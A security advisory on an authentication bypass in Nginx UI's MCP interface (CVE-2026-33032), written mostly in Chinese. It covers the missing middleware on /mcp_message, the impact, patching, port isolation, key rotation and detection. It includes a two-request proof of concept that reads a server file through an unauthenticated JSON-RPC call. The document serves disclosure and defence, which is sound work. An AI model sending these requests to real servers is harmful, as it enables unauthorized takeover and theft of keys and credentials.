Nginx UI Authentication Bypass Vulnerability (CVE-2026-33032 / MCPwn)

The core of the vulnerability is due to a logical error in route registration: the /mcp endpoint is protected by the AuthRequired() middleware, but its paired /mcp_message endpoint, which is used to receive instructions for the actual tool call, is deployed without that authentication middleware. This allows any attacker with network access to this UI to take over the Nginx service without any credentials.

1. 漏洞描述

Nginx UI 是一款广泛使用的开源 Nginx 图形化管理工具。在其集成的 MCP (Model Context Protocol) 接口中,存在一个由于代码实现疏忽导致的严重身份验证绕过漏洞,代号为 MCPwn,编号为 CVE-2026-33032.
该漏洞的核心原因在于路由注册时的逻辑错误:/mcp 端点受到 AuthRequired() 中间件保护,但其配对的、用于接收实际工具调用指令的 /mcp_message 端点在部署时缺失了该认证中间件。这使得任何能够通过网络访问该 UI 的攻击者,都可以在无需任何凭据的情况下接管 Nginx 服务。

2. 漏洞影响

CVE 编号:CVE-2026-33032
代号:MCPwn
CVSS 3.1 评分:9.8 (Critical) (向量:AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Vulnerability Type:身份验证绕过 (CWE-306)
Affected versions:nginx-ui < 2.3.4
restoration version:nginx-ui ≥ 2.3.4
技术影响:
任意配置修改: By edit_config 工具重写服务器块,插入攻击者控制的上游服务器。
服务接管: By reload_nginx 立即生效恶意配置,或通过 stop_nginx 造成拒绝服务(DoS)。
敏感信息泄露:利用 read_file 工具读取 TLS 私钥、系统凭据等敏感文件。
持久化控制:攻击者可利用 create_cert 重新颁发受控证书,或结合其他漏洞实现长期潜伏。

3. 漏洞 POC (Proof of Concept)

攻击链极为简洁,仅需两次 HTTP 请求即可完成接管:

步骤 1:获取会话 ID (Session ID)

攻击者向未受限的 SSE 流端点发起请求,获取执行后续指令所需的会话标识。
GET /mcp HTTP/1.1 Host: <target>:9000
预期响应:返回包含 sessionID=XYZ 的数据流 。

步骤 2:执行高权限工具指令

利用获取的 sessionID/mcp_message 发送 JSON-RPC 调用,例如读取敏感文件:
POST /mcp_message?sessionID=XYZ 
HTTP/1.1 
Host: <target>:9000 
Content-Type: application/json 
{ "jsonrpc": "2.0", "method": "read_file", "params": { "path": "/etc/nginx/nginx.conf" }, "id": 1 }

漏洞利用链 (Chain )

该漏洞常与 CVE-2026-27944(未授权备份下载漏洞)组合使用。后者可泄露 node_secret,即使在修复了 33032 漏洞后,若未及时轮换该密钥,攻击者仍可维持对 MCP 接口的访问权限。

4. 修复建议或方案

4.1 核心修复

立即升级:将 nginx-ui 升级至 2.3.4 或更高版本。官方补丁已在路由注册中补齐了 AuthRequired() 调用。
// 修复后的代码片段
r.POST("/mcp_message", AuthRequired(), mcpMessageHandler)

4.2 缓解与加固

端口隔离:切勿将 nginx-ui 管理端口(默认 9000)直接暴露于公网,应使用 VPN、堡垒机或防火墙(白名单策略)进行访问控制。
禁用功能:若无需 AI 辅助管理,可在配置文件中彻底禁用 MCP 模块。
密钥轮换:升级后,务必轮换 node_secret、SSL 私钥及所有存储在面板内的敏感凭据。

4.3 检测手段

自动化检测:可使用 keraattin/CVE-2026-33032 提供的 Python 脚本或 Nmap NSE 插件进行非破坏性检测。

5. Reference citations

原创文章,作者:首席安全官,如若转载,请注明出处:https://www.cncso.com/en/nginx-ui-mcp-authentication-bypass.html

Like (0)
Previous February 21st, 2026 at 9:21 am
Next March 20, 2023 10:33 pm

Leave a Reply

Please Login to Comment